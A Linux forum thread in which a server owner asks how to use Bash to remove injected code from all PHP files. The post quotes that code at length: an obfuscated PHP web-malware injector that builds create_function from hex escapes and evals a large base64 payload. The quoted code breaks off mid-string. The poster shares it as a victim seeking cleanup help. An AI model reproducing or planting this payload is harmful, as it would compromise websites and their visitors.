Find the answer to your Linux question:
Results 1 to 4 of 4
I have a problem, all my files on server where infected with some code. How can i recursively remove this lines from every *.php files? Text is <?php $zend_framework="\x632\x651\x745\x5f6\ x756\x634\x697\x6e"; ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    Jun 2013
    Posts
    2

    Removing lines from php files with Bash


    I have a problem, all my files on server where infected with some code. How can i recursively remove this lines from every *.php files?

    Text is

    <?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\ x75\156\x63\164\x69\157\x6e"; error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x6 5\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\10 7\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXD E0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3 M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2Zl wxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMWZZ MmJhbDFjejhpciA9ICJceDYzXDE1N1x4NjRcMTQ1XHg3OFw2Ml x4MzIiOyBpZigkZXZhMWZZMmJhazFjejBpcigkZXZhMWZZMmJh bDFjejBpcikgJiYgIWlzc2V0KCRHTE9CQUxTWyRldmExZlkyYm FsMWN6OGlyXSkpIHsNCgkkR0xPQkFMU1skZXZhMWZZMmJhbDFj ejhpcl09MTsgCWlmKCEkZXZhMWZZMmJhazFjejBpcigiXHg2NV wxNjZceDYxXDYxXHg2NlwxMzFceDMyXDE0Mlx4NjFcMTUzXHgz MVwxNDNceDU2XDYyXHg2OVwxNjIiKSkgeyBpZighJGV2YTFmWT JiYWsxY3owaXIoIlx4NjVcMTY2XHg2MVw2MVx4NjZcMTMxXHgz MlwxNDJceDYxXDE1M1x4MzFcMTQzXHg1Nlw2MFx4NjlcMTYyIi kpIHsNCiBmdW5jdGlvbiBldmExZlkyYmFrMWNWMGlyKCkgew0K IC8vZWNobyBzdGFydA0KDQogaWYoIWlzc2V0KCRHTE9CQUxTWy JhZ2hleDAiXSkpIHsNCgkkR0xPQkFMU1siYWdoZXgwIl09MTsN CiAkZXZhbHNzc2dxdWxWQlRrWkxBY2ggPSAiIjsNCiBpZiAoIW lzc2V0KCRldmExZllsYmFrQmNWU2lyKSkgeyRldmExZllsYmFr QmNWU2lyID0gIjdreUo3a1NLaW9EVFdWV2VSQjNUaWNpTDFVam NtUmlMbjRTS2lBRVRzOTBjdVpsVHo1bVJPdEhXSGRXZlJ0MFp1 cG1WUk5UVTJZMk1WWmtUOGgxUm4xWFVMZG1icXhHVTdoMVJuMV hVTGRtYnFaVlV6RWxObU5UVkd4RWVOdDFaemtGY21KeUp1VVRO eVpHSnVjaUx4azJjd1JDTGlJQ0t1VkhkbEpISm40U055a21ja1 JpTG5zVEtuNGlJbklpTG5Ba2RYNVVjMmRsVHNoRWNNaEhUOHhG ZU14MlQ0eGpXa05UVXdWR05kVnpXdlYxV2M5V1Qyd2xicVpWWD NsRWNsaFRUS2RXZjhvRVp6a1ZOZHAyTndaR05WdFZYOGRtUlBG M04xVTJjVlpEWDRsVmNkbFdXS2QyYVpCblp0VkZmTkozTjFVMm NWWkRYNGxWY2RsV1dLZDJhWkJuWnRWa1ZUcEdUWEIxSnVJVE55 WkdKdUl5Smk0U04xSW5aazR5SnVreUp1SXlKaTR5SjY0R2ZOcG piV0JWZElkMFQ3TmpWUUpIVndWMmFOWnpXelFqU01oWFRiZDJN WkJuWnhwSGZORm5hc1ZXZXZwMFp0aGpXbkJIUFoxMU1KcFZYOE ZsU014RFJXQjFKdUlUTnlaR0p1SXlKaTRTTjFJblprNHlKdWt5 SnVJeUppNHlKQVozVk9GbmRYNUVlTnQxWnprRmNtNW1hV0ZsYj BvRVQ0MTBXbk5UV3daV2M2eFhUNDEwV25OVFd3Wm1ibVprVDR4 aldrTlRVd1ZHTmRWeld2VjFXYzlXVDJ3bGF6Y0VUbjRpTTFJbl prNHlKbjRpSW5JaUwxVWpjbVJpTG40U0tpQWtkWDVVYzJkbFQ5 cG5SUVozTndaR05WdFZYOFZsUk94WFYyWUdiWlpqWjR4a1ZQeF dXMWNHYkV4V1o4bDFTbjlXVDIwa2RteFdaOGwxU245V1RMMVVj cXhXWjU5bVNuMUdPYWRHYzhrVlh6a2tXZHhYVUt4RVBFeEdVbj RpTTFJblprNHlKaWNpTDFVamNtUmlMbjBUTXBOSGNrc1RLaWNp THlVVGF5WkdKdWNTTjN3Vk0xZ0hYMlFUTWNkek00eDFNMUVEWH pVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNa ak14d0ZaMmdIWHpRVE1jSm1ONHgxTjJFRFg1WURlY0ZUTXh3Vk 8yZ0hYM1FUTWNOVE40eGxNekVEWGlaRGVjRnpOY2RETjR4bE0w RURYM2NEZWNGak5jZFRONHhWTTBFRFhtWkRlY1ZqTXh3MU4wZ0 hYeU1UTWNaek40eGxOeEVEWDNVRGVjSnpNeHdsWTJnSFh4Y0RY MlFEZWNaVE14d2xNemdIWDFJVE1jSnpNNHgxTTBFRFg0WURlY0 pUTXh3MU4wZ0hYeEVUTWNWek40eGxNeEVEWDRVRGVjUkROeHdG TXpnSFgySVRNY1JtTjR4MU0wRURYM01EZWNOVE54d1ZPMmdIWH lRVE1jWnpONHhsTXlFRFg0VURlY0ZETnh3VlkyZ0hYMVlEWDNV RGVjUkROeHdGWjJnSFh5SVRNY05ETjR4Vk14RURYemNEZWNSak 5jUm1ONHgxTTBFRFh4TURlY0pqTXh3Rk8xZ0hYeU1UTWNsek40 eGxNeUVEWHpRRGVjTlRNeHdsTTNnSFh3Y1RNY2RUTjR4Vk16RU RYek1EZWNGek5jWlRONHhWTjBFRFg0WURlY0pUTXh3VloyZ0hY elFUTWNoak40eEZOMkVEWDBVRGVjTlRNeHdWTjNnSFh5RVRNY2 hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgx TjBFRFh6UURlY1JETnh3Rk0zZ0hYd2NUTWNkRE40eDFNMEVEWG hkRGVjRnpOY05tTjR4MU0wRURYd01EZWNaVE14d0ZPMGdIWHhF VE1jbHpNNHhWTXdFRFg1WURlY0pETnh3Vk8zZ0hYMklUTWNkaU wxSVRheVpHSnVjeU56Z0hYelVUTWNsak40eFZNeEVEWDNNRGVj TlROeHdWTzNnSFgxRVRNY1J6TjR4MU0xRURYNVlEZWNKRE54d2 xOM2dIWDBVVE1jZERONHhGTjBFRFhoWkRlY1ZqTmNkVE40eEZO MEVEWGtaRGVjSlRNeHdWTzJnSFgwRVRNY2xqTjR4Vk15RURYel FEZWNOVE14d2xZMmdIWHlFVE1jTnpNNHhsTTBFRFhtWkRlY0ZU TXh3Rk8wZ0hYeFFUTWNGbU40eGxNd0VEWHpVRGVjQmpNeHcxTj JnSFgwWURYeU1EZWNKRE54d0ZNM2dIWHlJVE1jTnpNNHhWTXpF RFgxY0RlY1pqTXh3VloyZ0hYeU1UTWNsak40eEZOMndWTzJnSF h4RVRNY0ptTjR4Vk14RURYelFEZWNSVE14d1ZPMmdIWDBZRFh5 TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWm pNeHdWWjJnSFh5TVRNY2xqTjR4Rk4yd1ZPMmdIWHhFVE1jSm1O NHhWTXpFRFg1WURlY0ZUTXh3bFoyZ0hYMFlEWHlNRGVjSkROeH dGTTNnSFh5SVRNY056TTR4Vk16RURYMWNEZWNaak14d1ZaMmdI WHlNVE1jWmpONHhsTnlFRFgzUURlY1JETnh3Rk8yZ0hYMklUTW NSbU40eDFNMEVEWGhaRGVjSkRNeHcxTTFnSFh3SVRNY2RqTjR4 Rk4yd2xNemdIWHlRVE1jQnpNNHhGTjFFRFh5TURlY0Z6TXh3Vk 4zZ0hYMklUTWNWbU40eGxNekVEWGlaRGVjTmpOeHdGTzBnSFh4 RVRNY0J6TjR4Rk4yd0ZaMmdIWHpRVE1jRnpNNHhsTXlFRFg0VU RlY0p6TXh3Vk8zZ0hYeUlUTWNORE40eDFNeEVEWDFjRGVjWmpN eHdWWjJnSFh6UVRNY0J6TTR4bE55RURYa1pEZWNORE54dzFOMm dIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVE WDFjRGVjWmpNeHdWWjJnSFh5TVRNY0ppTG40U055SW5aazR5Sn pZVE1jRjJONHhsTXhFRFgxY0RlY1pqTXh3VloyZ0hYelFUTWNC ek00eGxOeUVEWGtaRGVjTkROeHdWWjJnSFh3WURYaFpEZWNKRE 54d1ZNemdIWHlFVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNt UmlMblV6TmNkek40eDFOeEVEWGxaRGVjUmpOY0p6TTR4bE0wRU RYd2NEZWNKak14dzFNemdIWHhNVE1jVnpONHhsTnlFRFhsWkRl Y0p6TXh3bE4yZ0hYMklUTWNkRE40eEZOMEVEWDRZRGVjWmpNeH dGWjJnSFh6UVRNY0ZtTjR4Rk4wRURYelVEZWNCak14d1ZOM2dI WDJJVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMbk1qTn h3VlkzZ0hYeUVUTWNObU40eGxOeEVEWDNVRGVjRnpNeHcxTTNn SFh5QVRNY2hUTjR4bE16RURYNWNEZWNGek5jRnpNNHhsTXpFRF hqWkRlY0pUTXh3Rk8wZ0hYelFUTWNWbU40eEZNMndWWTJnSFh5 UVRNY2x6TjR4bE53RURYM1FEZWNSRE54dzFZMmdIWHlFVE1jaE RONHhsTXhFRFhpNGlNMVFYYW1SQ0x5VWpacFpHSnNVak1tbG1a a2dTWmpGR2J3Vm1jZmRXWnlCM09pSWpNNHhGTTF3Vk4yZ0hYMF FUTWNabU40eDFNMEVEWDFZRGVjUkROeHdsWjFnSFgwWURYMk1E ZWNWRE54dzFNM2dIWHhRVE1jSmpONHhGTTF3MVkyZ0hYeFFUTW Naek40eFZOMEVEWHdRRGVjSkNJOUFpTTFRWGFtUnlPaUkyTTR4 Vk0xd2xNeWdIWHhZRFhqVkRlY0pETmNoak00eEZOMUVEWHhZRG VjWmpOeHdWTjJnSFhpQVNQZ0lUTm1sbVprc2pJMVFUTWNsak40 eEZNd0VEWDVJRGVjTlROY1ZtTTR4Rk0xd0ZNMGdIWGlBU1BnVW pNbWxtWmtjQ0tzRm1kbHRqSXdJRGVjVnpOY0JqTTR4Rk0yd0ZO MmdIWDBRVE1jUmpNNHhsSWcwREkxSVRheVJHSmdzVE4xa21jbV JpTG5raUluNGlNMWttY21SQ0k5QVNOeUluWmtBeU9uZ0RONHhG TjBFRFhqWkRlY0pUTXh3Rk8wZ0hYeUVUTWNkQ0k5QVNOeWttY2 1SeU9uSTJNNHhWTTF3Vk95Z0hYeVFEWGtORGVjZENJOUFpTTFr bWNtUnlPblFEVjJZV2ZWdFVUbkFTUGdJVE55WkdKN2NDS3VWbm MwVm1ja2NDSTlBU04xSW5aa3N6SnlVRGRwWkdKc0lUTm1sbVpr d1NOeVlXYW1SQ0t1SlhZMFZtY2tzekpnMERJMVVUYXlaR0orYV dZZ0tDRnBjM05sZENna1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtS VEtTa2dlMloxYm1OMGFXOXVJR1YyWVd4c2QyaFdaa2xXYmxkUV lsUW9KSE1wZXlSbElEMGdJaUk3SUdadmNpQW9KR0VnUFNBd095 QWtZU0E4UFNCemRISnNaVzRvSkhNcExURTdJQ1JoS3lzZ0tYc2 taU0F1UFNBa2MzdHpkSEpzWlc0b0pITXBMU1JoTFRGOU8zMXla WFIxY200b0pHVXBPMzFsZG1Gc0tHVjJZV3hzZDJoV1prbFdibG RRWWxRb0p6c3BLU0k5UVZObU4ydDVZVTVTYldKQ1VsaFhkazV1 VW1wR1ZWZEtlRmRaTWxaSFNtOVZSMXAyVGxkYWF6bEdUakpWTW 1Ob1NrZEpkVXBZWkRCV2JXTTNRbE5MY2pGRlduVkdSV1JhT1RK alIwNVhVVnBzUldKb1dsaGFhMmRwVWxSS2ExcFFiREJhYUZKR1 lsQkNSbUZQTVVWaWFGcFlXbWMwTW1Kd1VqTlpkVlp1V2lJb1pX UnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWm hiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNU1FVlRh Mmh0VlhwTmJVbHZXVEJWUTFveVZFcGtWMWxWZURKVVVXaHRWRT U0VjFreVZsZFFXRTVHV201T1JWcFdiRlpoUms1V1ltaDRWMWt5 VmtkS0lpaGxaRzlqWldSZk5EWmxjMkZpS0d4aGRtVW5LU2s3Wl haaGJDaGxkbUZzYkhkb1ZtWkpWbTVYVUdKVUtDYzdLU2tpTjJ0 cFNUa3dWRkZxUW1wVlNVWnRTVzlaTUZWRFdqSlVTbVJYV1ZWNE 1sUlJhRzFVVG5oWFdUSldWMUJZV2xaamFGcHNZM0JXTWxaVmVG ZFpNbFpIU2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3 BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJ amRyYVVrNVVYcFdhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVl Z2TlZWVWMwWnRaR3d4YWxGdGFFWlNWbVJGWkdsV1JscERlRmRa TWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTz JWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWow OWQwOXdTVk5RT1VWV1V6SlNNbFpLU2tOTFIwNXNVVzA1VlZOdV JrZFdjemxGVlc4MVZWUnpSbTFrYkRGVVdsWndibEoxVmpKUmMw b3laRko0VjFreVZrZEtJaWhsWkc5alpXUmZORFpsYzJGaUtHeG hkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVL Q2M3S1NraVBYTlVXSEJKVTFZeFZXeFZTVnBGVFZsT2JGWjNWV3 hXTlZsVlZsWktiRkpVU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxG Vlc4MVZWUnpSbTFrYkhSc1ZVWmFiRlZHVGpGWWF6QjZVVzFPTW xwT1FtNWtjRTVZVkhsNFYxa3lWa2RLSWlobFpHOWpaV1JmTkRa bGMyRmlLR3hoZG1VbktTazdaWFpoYkNobGRtRnNiSGRvVm1aSl ZtNVhVR0pVS0NjN0tTa2lQWE5VUzNCcmFXTnhUbXhXYWtZd1lX aFNSMWRhVWxoTmFGcFlXbXRuYVdSc1NtNWpNRTVJUzBkT2JGRn RPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hvUTJKb1dsaGFJ aWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2 hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVTM0JK VTFBNVl6SlpjMmhZWWxwU2JsSjBWbXhKYjFrd1ZVTmFNbFJLWk ZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU1hOcmFVa3dXVEZTWVZa dVVsaGtiRWx2V1RCVlExb3lWRXBrVjFsVmVESlVVV2h0VkU1NF Yxa3lWa2RKYzJ0cFNUbHJSVmRoU2tSaVNFWnRZVXRvVmxkdFdq QldhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWn RaR3hDUTB4d1NVTk5OVEJYVlZBMWExWlZTa05MUjA1c1VXMDVW Vk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRUpEVEhCSlUxQkNOVE paZUdkdVRWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZW VkhOR2JXUnNRa05NY0VsRFlqUkthbGN5YkdwTlUwcERTMGRPYk ZGdE9WVlRia1pIVm5NNVJWVnZOVlZVYzBadFpHeG9VMlZvU201 amFFSlRVR2RSU0ZWRmFESmllbVJGWkhWU1JXUlZlRmRaTWxaSF NpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllX d29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOX dhMmxKTlZGSVZreHdibFZFZEd0bFV6VnRXWE5LYkdKcFdtNVVl V2RHVFZkS2FsZHRXakZTYVVKdVYwaEdNVm93TURKWmVFbEdWMk ZzU0dSSmJFVmpUbWhyVTNaU1ZHSlNNV3RVZVVsc1UzTkNSRlpo V2pCTmFIQnJVMVpTYkZKcldtdFpiM0JHVjJGa1IwNTVTVWRqVT A1VVZ6RmFiR0poU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4 MVZWUnpSbTFrYkdoRFltaGFXRm9pS0dWa2IyTmxaRjgwTm1Wel lXSW9iR0YyWlNjcEtUdGxkbUZzS0dWMllXeHNkMmhXWmtsV2Js ZFFZbFFvSnpzcEtTSTlQWGRQY0dkRFRXdFNSMHBuTUVSSldYQk lVbmxvTVZSSlpESlRibmhYV1RKV1Iwb2lLR1ZrYjJObFpGODBO bVZ6WVdJb2JHRjJaU2NwS1R0bGRtRnNLR1YyWVd4c2QyaFdaa2 xXYmxkUVlsUW9KenNwS1NJOVBWRm1PWFJVV0hoelJtRnFSa1ZV WVhSSFZrTmFSbUl4UmpOYWVrNHpZM05HYldSc1VrTkpPVUZEWV dwR1JWUmhkRWRXUTFwR1lqRkdNMXA2VGpOamMwWnRaR3hTUTBr M2EwTmhha1pGVkdGMFIxWkRXa1ppTVVZelducE9NMk56Um0xa2 JGSkRUR3hXYkdWSE5WZGFSSGh0V1ROR1JtSm9XbGhhYTJkVFdt czVSMkozYUZoYVp6QkVTVzlPVjFGTmNERmhWVXByVm5OV1dHTn VUak5qZW5oWFdUSldSMG8zYkZOTGJGWnNaVWMxVjFwRWVHMVpN MFpHWW1oYVdGcHJkME5oYWtaRlZHRjBSMVpEV2taaU1VWXpXbn BPTTJOelJtMWtiRkpEUzNsU00yTjVVak5qYjBGcFduQjBWRXR3 TUZaTGFWVnNWSGhSVmxNMVdWVldWa3BzVWxSS1EwdEhUbXhSYl RsVlUyNUdSMVp6T1VWVmJ6VlZWSE5HYldSc2RHeFZSbHBzVlVa T01WaHJaMU5hYXpreVdYVldSMko1Vm01TWNFbFRUMjR4YlZOcF oybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRX dDVVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLYjFWSFduWk 9iV0pzZUcxak1UVlRTMmxyVkZOMGNHdEpiMWt3VlVOYU1sUkta RmRaVlhneVZGRm9iVlJPZUZkWk1sWnRUR1JzYVVrNWEydFNVMV pyVW5kbmJGSlRSa1JXVDFveFlWWktRMHRIVG14UmJUbFZVMjVH UjFaek9VVlZielZWVkhOR2JXUnNkR3hWUmxwc1ZVWk9NVmhyTk ZOTGFUQkVUVlZHYlVsdldUQlZRMW95VkVwa1YxbFZlREpVVVdo dFZFNTRWMWt5Vm0xTWNFbFRVRFJSTUZscFoybFNWRXByV2xCc0 1GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdHBTWFpLYTJKTlNr TkxSMDVzVVcwNVZWTnVSa2RXY3psRlZXODFWVlJ6Um0xa2JEVn BVVzFvUmxKV1pFVmthVlpHV2tONFYxa3lWa2RLZFd0cFNUa3dl bVJOU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbT FrYkRWRFZ6WlNhMk5aT1VWVGJuUXdXbk5HYldSc1VtbE1jRWxU VURSclNGUnBaMmxTVkVwcldsQnNNRnBvVWtaaVVFSkdZVTh4Ul dKb1dsaGFkV3RwU1Rrd2VscFFTa05MUjA1c1VXMDVWVk51Umtk V2N6bEZWVzgxVlZSelJtMWtiRFY1VmxkR1dGbFhTbGhoYkdSR1 ZuTkdiV1JzVWtOTGRVcEZWR3BrVlZOS09WVlhlSFJYVTBNeFZW SlllRmRaTWxaSFNUbEJRMkZxUmtWVVlYUkhWa05hUm1JeFJqTm FlazR6WTNOR2JXUnNVa05KTjJ0RFRYZG5SRTE0YzFOTGIxVlhZ bkJTU0V4d2EybEpPVEJGVTJ0b2JWVjZUVzFKYjFrd1ZVTmFNbF JLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU3pGUlYySnpZekZW YTJReVVXdFdWbGR3VmpCVmRFWkhZbWhhV0ZwcloxTmFjSFF5WW 5aT1IyUnNUa2hSWjNOSVNXeE9TR0pzUWxObU4wSlRTM0JyVTFo WVRrWmFiazVGV2xac1ZtRkdUbFppYUhoWFdUSldSMHBpVmxWVF REa3dWRVE1UmtwdlVWaGFlazVZWVc5QmFXTjJRbE5MY0Uxcldt cGtWMVIzV2xoaGVqRnJZM05HYldSc1VrTkpjMGxUWVhaSlEwbD FRVk5MTUVKR1VtODVNbU5JVW01aVJWSklWbk5HYldSc1VrTkpj MGxEWm1sblUxcHJPVWRpZHpGWFlXYzBRMGxwT0dsSmIyY3lXVE JHVjJKbVpGZGFlVUpJUzI5WlYyRWlLR1ZrYjJObFpGODBObVZ6 WVdJb2JHRjJaU2NwS1Rza1pYWmhiRlZrUTFoVVJGRkZVbTFYYm tSVElEMHhPRGM1TWp0OSI7JGV2YTF0WWxiYWtCY1ZTaXIgPSAi XHg2NVwxNDRceDZmXDE1NFx4NzBcMTcwXHg2NSI7JGV2YTF0WW xkYWtCY1ZTaXIgPSAiXHg3M1wxNjRceDcyXDE2Mlx4NjVcMTY2 IjskZXZhMXRZbGRha0JvVlMxciA9ICJceDY1XDE0M1x4NjFcMT U0XHg3MFwxNDVceDcyXDEzN1x4NjdcMTQ1XHg3MlwxNjAiOyRl dmExdFlpZG9rQm9WU2pyID0gIlx4M2JcNTFceDI5XDEzNVx4Mz FcMTMzXHg3MlwxNTJceDUzXDEyNlx4NjNcMTAyXHg2YlwxNDFc eDY0XDE1MVx4NTlcMTY0XHgzMVwxNDFceDc2XDE0NVx4MjRcNT BceDY1XDE0NFx4NmZcMTQzXHg2NVwxNDRceDVmXDY0XHgzNlwx NDVceDczXDE0MVx4NjJcNTBceDZjXDE0MVx4NzZcMTQ1XHg0MF w3Mlx4NjVcMTY2XHg2MVwxNTRceDI4XDQyXHg1Y1w2MVx4MjJc NTFceDNiXDcyXHg0MFw1MFx4MmVcNTNceDI5XDEwMFx4NjlcMT Q1IjskZXZhMXRZbGRva0JjVlNqcj0kZXZhMXRZbGRha0JjVlNp cigkZXZhMXRZbGRha0JvVlMxcik7JGV2YTF0WWxkYWtCY1ZTan I9JGV2YTF0WWxkYWtCY1ZTaXIoJGV2YTF0WWxiYWtCY1ZTaXIp OyRldmExdFlpZGFrQmNWU2pyID0gJGV2YTF0WWxkYWtCY1ZTan IoY2hyKDI2ODcuNSowLjAxNiksICRldmExZllsYmFrQmNWU2ly KTskZXZhMXRZWGRha0FjVlNqciA9ICRldmExdFlpZGFrQmNWU2 pyWzAuMDMxKjAuMDYxXTskZXZhMXRZaWRva0JjVlNqciA9ICRl dmExdFlsZGFrQmNWU2pyKGNocigzNjI1KjAuMDE2KSwgJGV2YT F0WWlkb2tCb1ZTanIpOyRldmExdFlsZG9rQmNWU2pyKCRldmEx dFlpZG9rQmNWU2pyWzAuMDE2Kig3ODEyLjUqMC4wMTYpXSwkZX ZhMXRZaWRva0JjVlNqcls2Mi41KjAuMDE2XSwkZXZhMXRZbGRh a0JjVlNpcigkZXZhMXRZaWRva0JjVlNqclswLjA2MSowLjAzMV 0pKTskZXZhMXRZbGRha0JjVlNpciA9ICIiOyRldmExdFlsZGFr Qm9WUzFyID0gJGV2YTF0WWxiYWtCY1ZTaXIuJGV2YTF0WWxiYW tCY1ZTaXI7JGV2YTF0WWlkb2tCb1ZTanIgPSAkZXZhMXRZbGJh a0JjVlNpcjskZXZhMXRZbGRha0JjVlNpciA9ICJceDczXDE2NF x4NzJceDY1XDE0M1x4NzJcMTYwXDE2NFx4NzIiOyRldmExdFls YmFrQmNWU2lyID0gIlx4NjdcMTQxXHg2ZlwxMzNceDcwXDE3MF x4NjUiOyRldmExdFlsZGFrQm9WUzFyID0gIlx4NjVcMTQzXHg3 MlwxNjAiOyRldmExdFlsZGFrQmNWU2lyID0gIiI7JGV2YTF0WW xkYWtCb1ZTMXIgPSAkZXZhMXRZbGJha0JjVlNpci4kZXZhMXRZ bGJha0JjVlNpcjskZXZhMXRZaWRva0JvVlNqciA9ICRldmExdF lsYmFrQmNWU2lyO30gfSAgDQogDQogcmV0dXJuICRldmFsc3Nz Z3F1bFZCVGtaTEFjaDsgICB9IH0NCiBpZighJGV2YTFmWTJiYW sxY3owaXIoIlx4NjdcMTcyXHg2NFwxNDVceDYzXDE1N1x4NjRc MTQ1IikpIHsNCiBmdW5jdGlvbiBnemRlY29kZSgkZXZhMWZZMm JvMDF6bzgxNykgeyAkZXZhMWZZMmJhbDFjejhpNCA9ICJceDcz XDE2NFx4NzJcMTYwXHg2ZlwxNjMiOyAkZXZhMWZZMmJvbDFjej hpNSA9ICJceDczXDE2NVx4NjJcMTYzXHg3NFwxNjIiOyAkZXZh MWZZMmJvMTFjejhpNSA9ICJceDc1XDE1Nlx4NzBcMTQxXHg2M1 wxNTMiOyAkZXZhMWZZMmJvMWxjejhpNSA9ICJceDYzXDE1MFx4 NzIiOyAkZXZhMWZZMmJvMWx6YzhpNSA9ICJceDY3XDE3Mlx4Nj lcMTU2XHg2NlwxNTRceDYxXDE2NFx4NjUiOw0KICRldmExZlky Ym8wMXpvMzE3PUBvcmQoQCRldmExZlkyYm9sMWN6OGk1KCRldm ExZlkyYm8wMXpvODE3LDMsMSkpOw0KICRldmExZlkyYm8wMWMw MzE3PTEwOyAgaWYoJGV2YTFmWTJibzAxem8zMTcmNCkgew0KIC RldmExZlkyYm8wMXowMzE3PUAkZXZhMWZZMmJvMTFjejhpNSgn dicsJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84MT csMTAsMikpOw0KICRldmExZlkyYm8wMXowMzE3PSRldmExZlky Ym8wMXowMzE3WzFdOw0KICRldmExZlkyYm8wMWMwMzE3Kz0yKy RldmExZlkyYm8wMXowMzE3Ow0KIH0gIGlmKCRldmExZlkyYm8w MXpvMzE3JjgpIHsNCiAkZXZhMWZZMmJvMDFjMDMxNz1AJGV2YT FmWTJiYWwxY3o4aTQoJGV2YTFmWTJibzAxem84MTcsJGV2YTFm WTJibzFsY3o4aTUoMCksJGV2YTFmWTJibzAxYzAzMTcpKzE7DQ ogfSAgaWYoJGV2YTFmWTJibzAxem8zMTcmMTYpIHsNCiAkZXZh MWZZMmJvMDFjMDMxNz1AJGV2YTFmWTJiYWwxY3o4aTQoJGV2YT FmWTJibzAxem84MTcsJGV2YTFmWTJibzFsY3o4aTUoMCksJGV2 YTFmWTJibzAxYzAzMTcpKzE7DQogfSAgaWYoJGV2YTFmWTJibz Axem8zMTcmMikgew0KICRldmExZlkyYm8wMWMwMzE3Kz0yOw0K IH0gICRldmExZlkyYm8wMWMwM2E3PUAkZXZhMWZZMmJvMWx6Yz hpNShAJGV2YTFmWTJib2wxY3o4aTUoJGV2YTFmWTJibzAxem84 MTcsJGV2YTFmWTJibzAxYzAzMTcpKTsgIGlmKCRldmExZlkyYm 8wMWMwM2E3PT09RkFMU0UpIHsNCiAkZXZhMWZZMmJvMDFjMDNh Nz0kZXZhMWZZMmJvMDF6bzgxNzsNCiB9ICByZXR1cm4gJGV2YT FmWTJibzAxYzAzYTc7DQogfSB9DQogZnVuY3Rpb24gZXZhMWZZ MmJhazFjVjJpcigkdmFyNikgeyAkZXZhMWZZMmIwMWx6YzhsNS A9ICJceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNjJceDY1XDE2MFx4 NmNcMTQxXHg2M1wxNDUiOyAkZXZhMWZZMmIwbGx6YzhsNSA9IC JceDcwXDE2Mlx4NjVcMTQ3XHg1ZlwxNTVceDYxXDE2NFx4NjNc MTUwIjsgJGV2YTFmWTJiMDIyemM4bDUgPSAiXHg0OFwxNDVceD YxXDE0NFx4NjVcMTYyIjsgJGV2YTFmWTJiMDIyem84bDUgPSAi XHg2N1wxNzJceDY0XDE0NVx4NjNcMTU3XHg2NFwxNDUiOyAkZX ZhMWZZMmIwNTJ6bzhsNSA9ICJceDQzXDE1N1x4NmVcMTY0XHg2 NVwxNTZceDc0XDU1XHg0NVwxNTZceDYzXDE1N1x4NjRcMTUxXH g2ZVwxNDdceDNhXDQwXHg2ZVwxNTdceDZlXDE0NSI7ICRldmEx ZlkyYjA1MnpvOGwxID0gIlx4MmZcMTM0XHgzY1wxMzRceDJmXD E0Mlx4NmZcMTQ0XHg3OVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJi MDYyem84bDEgPSAiXHgyZlw1MFx4NWNcNzRceDVjXDU3XHg2Ml wxNTdceDY0XDE3MVx4NWJcMTM2XHg1Y1w3Nlx4NWRcNTJceDVj XDc2XHgyOVw1N1x4NzNcMTUxIjsgJGV2YTFmWTJiMDYxem84bD EgPSAiXHgyZlwxMzRceDNjXDEzNFx4MmZcMTUwXHg3NFwxNTVc eDZjXDU3XHg3M1wxNTEiOyAkZXZhMWZZMmJvNjF6bzhsMSA9IC JceDJmXDUwXHg1Y1w3NFx4NWNcNTdceDY4XDE2NFx4NmRcMTU0 XHg1YlwxMzZceDVjXDc2XHg1ZFw1Mlx4NWNcNzZceDI5XDU3XH g3M1wxNTEiOyAkZXZhMWZZMmIwMjJ6YzhsNSgkZXZhMWZZMmIw NTJ6bzhsNSk7ICRldmExZlkyYm82MXpvOGw3PSRldmExZlkyYj 